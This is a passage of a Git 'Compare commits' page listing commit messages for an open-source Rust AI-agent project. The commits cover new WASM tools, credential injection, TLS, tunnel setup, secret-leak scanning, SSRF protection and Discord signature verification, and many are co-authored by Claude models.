Compare commits

...
Author SHA1 Message Date
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
8530f44630 chore: release v0.13.1 (#453)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-03-02 21:49:13 +00:00
5257fecca1 feat: add Brave Web Search WASM tool (#474)
* feat: add Brave Web Search WASM tool

Add a new WASM tool for searching the web via the Brave Search API.
Follows the same architecture as the GitHub WASM tool with zero-exposure
credential injection (X-Subscription-Token header).

Features:
- Full Brave Search API support (query, count, country, search_lang,
  ui_lang, freshness)
- Input validation on all parameters
- Retry logic for 429/5xx transient errors
- RFC 3986 percent-encoding
- Registry manifest for Extensions tab discovery

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix: avoid Vec allocation in is_valid_ui_lang

Use iterator-based destructuring instead of collecting into a Vec,
avoiding a heap allocation in the WASM sandbox.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-02 13:07:18 -08:00
20073ccf57 fix(web): auto-scroll and Enter key completion for slash command autocomplete (#475)
- Add scrollIntoView to keep arrow-key-selected item visible in dropdown
- Make Enter complete the first matching command when autocomplete is
  visible, instead of requiring explicit arrow-key navigation first

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-02 13:06:55 -08:00
1a26b1e57f fix: correct download URLs for telegram-mtproto and slack-tool extensions (#470)
The tool manifests pointed to channel bundle URLs (telegram-wasm32-wasip2.tar.gz,
slack-wasm32-wasip2.tar.gz) instead of the tool bundles (telegram-mtproto-...,
slack-tool-...). This caused install to fail because the archive contents
didn't match the expected .wasm filename.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-02 12:37:50 -08:00
906d618681 fix: add type annotation for Vec<String> to fix Windows build (#452)
The compiler cannot infer the element type of `conflicts` on Windows
because all `push` calls are inside `#[cfg(unix)]` blocks which don't
compile on Windows.

Co-authored-by: Claude Sonnet 4.6 (1M context) <[email protected]>
2026-03-02 04:58:55 +00:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
4a7339f4ed chore: release v0.13.0 (#385)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-03-02 03:37:39 +00:00
dc7d9cce34 fix(channels): add host-based credential injection to WASM channel wrapper (#421)
* fix(channels): add host-based credential injection to WASM channel wrapper

The channel WASM wrapper was missing the host-based credential injection
that the tools wrapper implements. The `credentials` block in channel
capabilities files was dead code: Slack's `on_respond` sends requests
with no Authorization header, expecting the host to inject the bot token
based on `host_patterns`, but the host never did.

This caused Slack (and any channel relying on capabilities-declared
credentials) to fail all outbound API calls with `not_authed`.

Changes:
- Add `ResolvedHostCredential` struct mirroring the tools wrapper
- Add `host_credentials` field to `ChannelStoreData`
- Add `inject_host_credentials()` method on `ChannelStoreData`
- Update `redact_credentials()` to also scrub host-injected secret values
- Add `secrets_store` field to `WasmChannel` + `with_secrets_store()` builder
- Add `resolve_channel_host_credentials()` async helper that decrypts
  capabilities-declared credentials before each WASM callback
- Update `create_store()` and all `call_on_*` / `execute_status` /
  `execute_poll` call sites to pre-resolve and pass host credentials
- Fix leak scan ordering: scan runs on WASM-provided values BEFORE host
  credential injection, preventing false-positive blocks on injected
  Bearer tokens (e.g. xoxb- Slack tokens)
- Make `credential_injector` module pub(crate) so channels can reuse
  `inject_credential` and `host_matches_pattern`

Fixes #389, root cause of #413

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(wasm): redact URL-encoded credentials, use url::Url, derive Clone

Address review feedback on PR #421:

1. Security: redact_credentials now scrubs URL-encoded forms of secrets
   in addition to raw values, preventing exfiltration via encoded
   representations in error strings from reqwest
2. Use url::Url::query_pairs_mut() for query parameter injection instead
   of manual string manipulation, improving robustness with malformed URLs
3. Derive Clone on ResolvedHostCredential and simplify the per-tick
   clone in the status repeater loop

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Sprite <[email protected]>
Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-03-01 19:04:37 -08:00
a21dba0ac1 refactor: rename WasmBuildable::repo_url to source_dir (#445)
* refactor: rename WasmBuildable::repo_url to source_dir

The field receives a local directory path (e.g. "tools-src/gmail"), not a
URL. Rename to source_dir to accurately reflect its purpose.

Adds #[serde(alias = "repo_url")] for backwards compatibility with any
previously serialized data.

Closes #329

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: rename extract_url to extract_source

The function can return a local directory path, not just a URL.
Addresses review feedback on PR #445.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 16:36:46 -08:00
bb279ad822 fix: pre-validate Cloudflare tunnel token by spawning cloudflared (#446)
* fix: pre-validate Cloudflare tunnel token by spawning cloudflared

After format validation passes, spawn `cloudflared tunnel run` briefly
with a dummy URL and watch stderr for up to 10s. If an error appears
before a connection URL, report it and offer "Save anyway?". This
catches bad tokens during setup instead of at runtime 30s later.

Closes #440

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: tighten cloudflared output matching in live validation

- Check for cfargotunnel.com/trycloudflare.com in success detection
- Use starts_with("err") instead of contains("err") to avoid false
  positives on words like "stderr"

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 16:36:35 -08:00
293a700b69 fix: prevent Telegram 409 Conflict on webhook re-registration (#447)
* fix: prevent Telegram 409 Conflict on webhook re-registration

Delete any existing webhook before calling setWebhook in on_start(),
matching the defensive cleanup that polling mode already does. As a
safety net, register_webhook() now retries once on 409 after calling
delete_webhook().

Closes #440

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: deduplicate 409 retry logic in register_webhook

Restructure the match block so the initial request and retry share
a single response-handling code path.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 16:36:26 -08:00
7481aea083 fix: batch of quick fixes (#417, #338, #330, #358, #419, #344) (#428)
- #417: Add Docker auto-start login item hint for macOS in setup wizard
- #338: Add clippy.toml with complexity thresholds for AI-assisted dev
- #330: Add structured FallbackFailed error variant to ExtensionError
- #358: Revoke credential mappings on extension removal (SharedCredentialRegistry)
- #419: Detect conflicting cloudflared services during tunnel setup
- #344: Improve embedding auth failure warning with configuration hint

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 09:01:07 +00:00
Zaki ManianGitHubClaude Opus 4.6Illia Polosukhingemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
fa52df593d fix: persist channel activation state across restarts (#432)
* fix: persist channel activation state across restarts (#392)

Channels activated via the web UI were lost on restart because
active_channel_names was only in memory. Now persist activation state
to the settings store under "activated_channels" and auto-activate
persisted channels on startup.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: log warnings for channel activation load failures

Replace silent catch-all with explicit error logging when
database queries or deserialization fails for activated channels.

Addresses Gemini review feedback on PR #432.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Apply suggestions from code review

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Illia Polosukhin <[email protected]>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
2026-03-01 08:53:32 +00:00
7b883a02c0 fix: init WASM runtime eagerly regardless of tools directory existence (#401)
* fix: init WASM runtime eagerly regardless of tools directory existence

The WASM tool runtime was only created at startup when both
`wasm.enabled` and `wasm.tools_dir.exists()` were true. This meant
that if the tools directory didn't exist yet (e.g. fresh deploy with
`--no-onboard`), the runtime was set to None and passed to the
ExtensionManager. Extensions installed later via the web UI would
then fail with "WASM runtime not available" because the runtime
could not be retroactively created.

The Wasmtime engine initialization has no dependency on the tools
directory — it only configures the compiler and starts an epoch
ticker thread. The directory is only needed later when loading
.wasm modules. Remove the directory check so the runtime is
available for post-startup extension activation.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add regression tests for WASM runtime eager init

- runtime.rs: test_runtime_creation_without_tools_dir confirms the
  Wasmtime engine initialises without a tools directory on disk
- manager.rs: test_activate_wasm_tool_with_runtime_passes_runtime_check
  verifies activation gets past the runtime check when a runtime is
  provided (fails on missing file, not missing runtime)
- manager.rs: test_activate_wasm_tool_without_runtime_fails_with_runtime_error
  verifies the original error when no runtime is available

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: use idiomatic Result-to-Option conversion for WASM runtime init

Address PR review feedback: replace match block with
.map(Arc::new).map_err(|e| warn!(...)).ok() chain.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: fix formatting in extension manager tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:51:05 +00:00
3362081192 fix: add TLS support for PostgreSQL connections (#363) (#427)
All PostgreSQL connection sites hardcoded NoTls, preventing connections
to managed providers that require TLS (AWS RDS, Neon, Supabase, etc.).

- Add tokio-postgres-rustls with rustls + system root certificates
- Add SslMode enum (disable/prefer/require) via DATABASE_SSLMODE env var
- Replace NoTls at all 4 production call sites with TLS-aware pool creation
- Add SslMode::from_env() helper for lightweight CLI tools
- Log native cert loading errors and warn on empty root store

Default mode is Prefer (attempts TLS, matching most managed providers).

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:49:09 +00:00
1f2e8c3b72 fix: scan inbound messages for leaked secrets (#433)
* fix: scan inbound messages for leaked secrets before LLM processing (#393)

Add scan_inbound_for_secrets() to SafetyLayer that reuses the existing
leak detector on user input. Wire it into thread_ops.rs after the policy
check so messages containing API keys or tokens are rejected early,
preventing the LLM from echoing them back and triggering outbound
leak-detection error loops.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: unify inbound secret scan warning messages

Both the detected-secret and error branches now show the same
actionable message guiding users to remove secrets and use the
config system instead.

Addresses Gemini review feedback on PR #433.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:45:27 +00:00
dbf3406bf5 fix: use tailscale funnel --bg for proper tunnel setup (#430)
* fix: use tailscale funnel --bg for proper tunnel setup (#394)

The old command `tailscale funnel http://127.0.0.1:3000` would hang
without establishing a tunnel. The correct invocation is
`tailscale funnel --bg <port>` which configures the tunnel as a
background daemon and exits.

Changes:
- Use `--bg` flag with just the port number
- Run as a one-shot command instead of spawning a child process
- Use `tailscale <cmd> off` to tear down (matches --bg semantics)
- health_check uses stored URL instead of non-existent child PID

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: use local_host parameter and verify tailscale health

Pass full http://host:port URL to tailscale instead of ignoring
the local_host parameter. Health check now verifies tailscale is
actually running via 'tailscale status --json'.

Addresses Gemini review feedback on PR #430.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:44:08 +00:00
2052cddf1d fix: add missing build.sh for Discord and WhatsApp channels (#429)
* fix: add missing build.sh for Discord and WhatsApp channels (#406)

Both channels had full source code in channels-src/ but no build.sh,
so their WASM binaries were never compiled and they didn't appear in
the setup wizard's channel selection list.

Modeled after the existing channels-src/telegram/build.sh.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: guard wasm-tools availability in WASM build scripts

Add command existence check before invoking wasm-tools in discord
and whatsapp build scripts. Prints actionable error message if missing.

Addresses Gemini review feedback on PR #429.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:41:20 +00:00
ec31e83a7d fix: normalize secret names to lowercase for case-insensitive matching (#413) (#431)
The Slack channel capabilities.json declares secret names in lowercase
(slack_bot_token) but the web UI stored them in UPPERCASE
(SLACK_BOT_TOKEN), causing credential injection to fail with
"not_authed".

Changes:
- CreateSecretParams::new() normalizes name to lowercase on creation
- All SecretsStore lookups (get, exists, delete, is_accessible) now
  lowercase the name parameter before querying
- Applied to all three backends: PostgreSQL, libSQL, InMemory
- CredentialInjector::is_secret_allowed() uses case-insensitive
  comparison

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:33:58 +00:00
f62937d482 fix: persist model name to .env so dotted names survive restart (#426)
* fix: persist model name to .env so dotted names survive restart (#400)

The setup wizard saved selected_model to the DB but not to .env.
Since Config::from_env_with_toml() runs before the DB connects, the
model name was lost on restart -- backends fell back to hardcoded
defaults, truncating names like "llama3.2" to "llama3".

- Add LlmBackend::model_env_var() as single source of truth for the
  backend-to-env-var mapping
- Write the model env var in write_bootstrap_env() using the new method
- Add selected_model fallback to all 6 backends (was missing from
  OpenAI, Anthropic, Ollama, and Tinfoil)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: extract resolve_model() helper to reduce duplication

Address review feedback: the env → settings → default model resolution
pattern was repeated across all 6 backends.  Centralise it in a single
LlmConfig::resolve_model() helper.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:32:59 +00:00
914f3cd075 fix(setup): check cloudflared binary and validate tunnel token (#424)
* fix(setup): check cloudflared binary and validate tunnel token (#418)

The Cloudflare tunnel setup accepted tokens blindly without checking if
cloudflared was installed or if the token was valid. Now:

- Checks for cloudflared on PATH before accepting a token, with install
  instructions if missing (user can continue anyway)
- Validates token format (base64-decoded JSON with account/tunnel fields)
  with a warning if malformed (user can override)
- Replaces misleading "will start automatically at boot" with honest
  instructions for starting the tunnel and installing as a service
- Reuses binary_exists() from skills::gating (promoted to pub(crate))
  for cross-platform PATH lookup

Closes #418

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: reuse cloudflared_found instead of redundant binary_exists call

Address review feedback: the binary check result was already stored
in cloudflared_found from earlier in the function.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:31:43 +00:00
e794f39726 fix(setup): validate PostgreSQL version and pgvector availability before migrations (#423)
* fix(setup): validate PostgreSQL version and pgvector before migrations

The setup wizard accepted any DATABASE_URL without checking the server
version or pgvector availability. Users who installed PostgreSQL 14
(or any version < 15) got opaque migration failures. Users without
pgvector installed hit CREATE EXTENSION errors at runtime.

After a successful connection, the wizard now:
1. Queries SHOW server_version and rejects versions below 15
2. Checks pg_available_extensions for the vector extension

Both checks provide actionable error messages with platform-specific
install guidance.

Closes #415
Closes #416

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: extract version constant, fix hex escapes in pgvector message

- Extract MIN_PG_MAJOR_VERSION constant to avoid magic number
- Replace \x20 hex escapes with regular spaces in install guidance

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(setup): use detected PG version in pgvector install instructions

The pgvector install hints were hardcoded for PG 16. Since we already
parse major_version from SHOW server_version, use it dynamically so
users on PG 15 or 17 get correct package names.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:29:49 +00:00
c6bfd18401 fix: guard zsh compdef call to prevent error before compinit (#422)
* fix: guard zsh compdef call to prevent error before compinit

The generated ironclaw.zsh completions file calls compdef without
checking if it exists. Users who source this file before compinit
runs in their .zshrc get "compdef: command not found" on every
terminal open.

Wrap the call with the standard (( $+functions[compdef] )) guard.

Closes #420

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(completions): apply compdef guard during zsh generation

Instead of hand-patching the generated ironclaw.zsh file (which is
fragile and lost on regeneration), patch the compdef call in the
generation code itself. The Zsh output is post-processed to wrap
`compdef _ironclaw ironclaw` with a `$+functions[compdef]` guard.

Regenerated ironclaw.zsh from the patched code to stay in sync.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:28:32 +00:00
b987464f45 feat(cli): add tool setup command + GitHub setup schema (#438)
* feat(cli): add `tool setup` command + GitHub setup schema

- Add `ironclaw tool setup <name>` CLI command that reads
  `setup.required_secrets` from a tool's capabilities file and
  prompts the user for each secret, saving them to the encrypted
  secrets store. Handles already-configured secrets (ask to replace),
  optional secrets (skip on empty), and hidden input.

- Add `setup.required_secrets` to GitHub tool capabilities file
  with `github_token` — the only WASM tool that was missing it
  after PR #437 added setup schemas to all other tools.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* refactor(cli): extract init_secrets_store helper + add tool name validation

Address PR review feedback:
- Extract duplicated secrets store initialization (~50 lines) from
  auth_tool and setup_tool into shared init_secrets_store() helper
- Add validate_tool_name() to reject path traversal in tool names
  (applies to both auth_tool and setup_tool)

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-01 06:55:57 +00:00
98467a553e fix(telegram): remove restart button, validate token on setup (#434)
* fix(web): remove gateway restart button from channel activation failure cards

When a WASM channel (e.g. Telegram) fails to hot-activate after setup,
the extension card showed a "Restart" button that calls POST /api/gateway/restart.
This triggers a process exit and relies on an external supervisor to relaunch,
which doesn't work reliably when running inside Docker.

Remove the Restart button entirely from the failed-activation card for all
channels — Reconfigure is the correct recovery action (re-enter credentials).

Also fix two bugs found during review:
- setServerLogLevel/loadServerLogLevel called .json() on the already-parsed
  object returned by apiFetch, causing a silent TypeError that prevented the
  log level selector from updating
- buildBreadcrumb embedded paths in inline onclick JS strings using escapeHtml,
  which doesn't escape single quotes; switched to data-path attribute pattern
  to avoid JS string injection from paths containing quotes

And simplify: collapse the dead Telegram-specific branch in submitConfigureModal
toast messaging — all channels now show "Configured and activated X" on success.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(telegram): propagate token validation errors from on_start

Both webhook and polling mode in on_start() swallowed activation errors
from register_webhook/delete_webhook — using `if let Err(e)` to log
but then returning Ok regardless. This caused a bad bot token to show
as "configured and active" instead of failing activation.

Telegram returns {"ok": true} when deleteWebhook is called with no
existing webhook (idempotent), so any error (e.g. 401 Unauthorized)
genuinely means an invalid token.

The WASM is rebuilt automatically via build.rs on cargo build.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(telegram): validate bot token before storing, fix misleading toast

Add upfront GET /getMe validation in save_setup_secrets() before writing
the bot token to the secrets store. This catches bad tokens immediately
for both fresh installs and reconfigures — the reconfigure path
(refresh_active_channel) skips on_start entirely and would never catch
an invalid token without this check. URL-encode the token before
interpolating into the getMe URL path.

Also update the activation-failure toast from "Restart required to
activate" (misleading now that the Restart button is gone) to
"Use Reconfigure to re-enter credentials and activate".

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(telegram): collapse nested if, fix formatting (clippy + fmt)

Collapse `if name == "telegram" { if let Some(...) }` into a single
let-chain condition as suggested by clippy's collapsible_if lint.
Also apply rustfmt line-length fixes in the same block.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 19:58:45 -08:00
8751a5a9bc feat: add web_fetch built-in tool (#435)
* feat: add web_fetch built-in tool and web-fetch skill

- New web_fetch Rust built-in tool (GET-only, auto-approved, structured
  output: url/title/content/word_count) with HTML to Markdown via Readability
- Full SSRF protection: HTTPS-only, no private IPs, DNS rebinding defence,
  outbound/inbound leak scanning, 5 MB cap, no redirect following
- Rate limited: 30 req/min, 500/hr (same as http tool)
- Protected tool name; registered in register_builtin_tools()
- validate_url made pub(crate) so web_fetch can reuse it from http.rs
- New skills/web-fetch/SKILL.md for agent guidance on web browsing
- Fixes unicode panic in extract_title: use to_ascii_lowercase not
  to_lowercase to preserve byte offsets when indexing original string

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* chore: remove web-fetch skill (tool description is self-sufficient)

The web_fetch tool's schema description already tells the LLM when and
how to use it. A SKILL.md would only add redundant prompt context.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix: include HTTP status in web_fetch output

The LLM had no way to distinguish a 404 error page from a 200 success.
Including status in the structured output (alongside url/title/content/
word_count) lets the agent report failures correctly and matches the
behaviour of the http tool which always returns status.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* feat(web_fetch): add Chrome UA and safe redirect following

- Set a Chrome-like User-Agent so sites that block the default reqwest
  string return real content instead of bot-rejection pages.
- Add Accept: text/markdown, text/html header (mirrors OpenClaw).
- Follow up to 3 redirects manually instead of blocking all 3xx.
  Every Location URL is run through validate_url() before the next
  request is sent, so SSRF protection applies to every hop identically
  to how it applies to the original URL.
- Resolve relative Location values against the current URL before
  SSRF-validating them.
- Log each followed hop at DEBUG level.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(web_fetch): expose final_url after redirect following

When redirects are followed, the original `url` field no longer
reflects where the content actually came from. Add `final_url` so
the LLM can cite the canonical source correctly. Equals `url` when
no redirects occurred.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(web_fetch): address review comments and fix CI failures

- Store LeakDetector in WebFetchTool struct (init once in new(), not per execute() call)
- Use self.leak_detector for both outbound scan and redirect re-validation
- Simplify HTML/cfg blocks to reduce duplication (gemini-code-assist suggestion)
- Fix pub use ordering in mod.rs (cargo fmt)
- Add web_fetch to core_registration_covers_expected_tools snapshot test

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 19:58:22 -08:00
6481448d50 feat(web): DB-backed Jobs tab + scheduler-dispatched local jobs (#436)
* feat(web): DB-backed Jobs tab, scheduler-dispatched local jobs, remove active-jobs-bar

- Remove active-jobs-bar UI element (HTML, CSS, JS polling)
- Move job handlers from server.rs to handlers/jobs.rs
- Remove user_id scoping (single-user gateway)
- Add list_agent_jobs() and agent_job_summary() to Database trait
  (both postgres and libsql backends) for non-sandbox job visibility
- Wire SchedulerSlot into CreateJobTool so execute_local dispatches
  via scheduler (persists to DB + spawns worker) instead of creating
  phantom ContextManager-only jobs
- Update /status and /list slash commands to read from DB for
  consistency with Jobs tab
- Fix worker mark_completed: skip if already terminal or stuck
- Add agent job cancel via DB update in both web handler and slash cmd
- Add Stuck → Completed guard with tracing in worker completion path

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix: address PR review comments

- Log warning when get_context fails in worker completion path
- Extract duplicated status-counting logic into AgentJobSummary::add_count()
  helper, used by both postgres and libsql backends

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
Co-authored-by: Nick Pismenkov <[email protected]>
2026-02-28 19:58:07 -08:00
afb49597ac feat(extensions): add OAuth setup UI for WASM tools + display name labels (#437)
Add setup.required_secrets to tool capabilities.json files so users can
configure OAuth client credentials (Google, Slack, Okta, Telegram) through
the Extensions UI Setup modal instead of environment variables.

- Add ToolSetupSchema/ToolSecretSetupSchema types to capabilities_schema.rs
- Extend get_setup_schema(), save_setup_secrets(), list() to handle WasmTool
- Extract load_tool_capabilities() helper to reduce duplication
- Auto-activate tools after saving setup secrets
- Show display_name labels (Channel/Tool/MCP) in extension cards
- Update button labels: "Setup" when unconfigured, "Reconfigure" when set
- Replace "Set" badge with checkmark in configure modal
- Fix innerHTML XSS pattern in slash autocomplete (use textContent)
- Add tests for ToolSetupSchema parsing and resolve_nested promotion
- Update registry display names (e.g. "Telegram Channel" vs "Telegram Tool")

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 19:57:55 -08:00
9b25e7566c feat(bootstrap): auto-detect libsql when ironclaw.db exists (#399)
* feat(bootstrap): auto-detect libsql when ironclaw.db exists

If DATABASE_BACKEND is unset after loading all env files and
~/.ironclaw/ironclaw.db exists, default to libsql automatically.

Fixes the chicken-and-egg problem on cloud instances where no
DATABASE_URL is configured: users no longer need to prefix every
ironclaw command with DATABASE_BACKEND=libsql.

Priority order: explicit env var > .env > ~/.ironclaw/.env > auto-detect

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(bootstrap): move env loading to sync main() before tokio runtime

- Fix cargo fmt: wrap three long assert! lines in new tests
- Address set_var data race: load_ironclaw_env() is now called from a
  synchronous fn main() wrapper before the Tokio runtime starts, making
  the set_var call provably safe (no worker threads exist yet)
- Remove the redundant dotenvy::dotenv() + load_ironclaw_env() calls
  from inside command handlers and agent startup (already done pre-tokio)
- Update SAFETY comment to reflect the actual invariant

Addresses Gemini code review comment and cargo fmt CI failure on PR #399.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 18:58:33 -08:00
9ce09f71b0 feat(web): slash command autocomplete + /status /list + fix chat input locking (#404)
* feat(web): slash command autocomplete, /status /list /cancel, fix input locking

Backend:
- Add JobStatus, JobList, JobCancel Submission variants to submission.rs
- Parse /status [id], /progress [id], /list, /cancel <id> as control commands
- Dispatch to existing handle_check_status/handle_list_jobs/handle_cancel_job
  handlers via new process_job_status/process_job_list/process_job_cancel methods
- Add 4 parser tests (34 total, all passing)

Web UI:
- Add slash command autocomplete: type / in chat input to see all 18 commands
  with descriptions; arrow-key navigation, Tab/Enter to select, Escape to close
- Remove chat input locking: drop textarea.disabled + sendBtn.disabled so users
  can always type and send (including /interrupt while agent is processing)
- Remove quick-action toolbar buttons (↩↪⏸⊖🗑📋) added in previous session
- Remove dead #chat-status bar (min-height 28px black bar always visible when empty)

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* refactor: address PR review comments

- Remove Submission::JobList variant; parse /list directly as
  JobStatus { job_id: None } (simpler, eliminates redundant enum
  variant, match arm, is_control branch, and wrapper function)
- Cache autocomplete matches in _slashMatches to avoid re-filtering
  SLASH_COMMANDS on every keydown while autocomplete is open

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
Co-authored-by: Pierre LE GUEN <[email protected]>
2026-02-27 20:59:32 +00:00
601d73d16b feat(routines): deliver notifications to all installed channels (#398)
* feat(routines): deliver notifications to all installed channels

Routine notifications were silently lost because the forwarder didn't
use NotifyConfig fields and WASM channels (Telegram, Slack) had
broadcast() as a no-op. This fixes three issues:

1. send_notification() now includes notify_user/notify_channel in
   metadata so the forwarder can route to specific channels
2. The routine forwarder mirrors the heartbeat pattern: try targeted
   channel first, fall back to broadcast_all
3. WasmChannel implements broadcast() using last-seen message metadata
   (chat_id), with persistence to the settings table so it survives
   restarts. Only writes to DB when the value actually changes.

Heartbeat notifications also benefit from the WASM broadcast fix.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* refactor(wasm): extract do_update_broadcast_metadata to eliminate duplication

The inline metadata-update block in `dispatch_emitted_messages` was
identical to the `update_broadcast_metadata` instance method. Extract
the shared logic into a private free function `do_update_broadcast_metadata`
that both call, so the persistence logic lives in one place.

Addresses Gemini code review comment on PR #398.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-27 12:01:32 -08:00
a65b282066 fix: web UI routines tab shows all routines regardless of creating channel (#391)
Routines created via Telegram (or any WASM channel) were invisible in the
web UI because the routines list endpoint filtered by GATEWAY_USER_ID,
which didn't match the Telegram user's ID stored on the routine.

Add list_all_routines() to the RoutineStore trait (both libSQL and
PostgreSQL backends) and use it in the web dashboard handlers so all
routines are visible regardless of which channel created them.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-27 18:34:22 +00:00
Henry ParkandGitHub ddd01a628c feat(web): persist tool calls, restore approvals on thread switch, and UI fixes (#382) 2026-02-27 17:46:37 +04:00
DevBrocoandGitHub a89c5f7348 Improve --help: add detailed about/examples/color, snapshot test (clo… (#371) 2026-02-27 17:45:30 +04:00
ibhagwanandGitHub c592a8f2de feat: add IRONCLAW_BASE_DIR env var with LazyLock caching (#397) 2026-02-27 17:43:43 +04:00
a7c0be7f1b fix: Discord Ed25519 signature verification and capabilities header alias (#148) (#372)
* test: add failing tests for Discord signature validation and capabilities alias (Red phase)

TDD Red phase for #148. Adds 19 tests across 4 categories:
- Category 1: CredentialLocationSchema header_name alias (2 failing)
- Category 2: Ed25519 signature verification (3 failing)
- Category 3: Router signature key management (2 failing)
- Category 5: Discord capabilities public_key setup (1 failing)

All 8 failures are expected — stubs return false/None by design.
Implementation will follow in Green phase.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: add Discord Ed25519 signature verification and capabilities alias (#148)

Implement the Green phase for Discord channel security fixes:

- Add real Ed25519 signature verification in signature.rs using ed25519-dalek
- Add #[serde(alias = "header_name")] to CredentialLocationSchema::Header
  for backward compatibility with external JSON files
- Add signature_keys storage to WasmChannelRouter (register/get/unregister)
- Add discord_public_key to discord.capabilities.json setup.required_secrets
- Add nested capabilities resolution to CapabilitiesFile for channel-level
  JSON compatibility

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: address PR #372 review comments

- Fix invalid hex character in test fake_pub_key (router.rs)
- Simplify signature parsing with from_slice/try_from (signature.rs)
- Use idiomatic Option::or for nested capability merging (capabilities_schema.rs)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: enforce signature verification, staleness check, key validation, recursive resolve

Address PR #372 review feedback:

- Wire verify_discord_signature() into webhook_handler with Ed25519
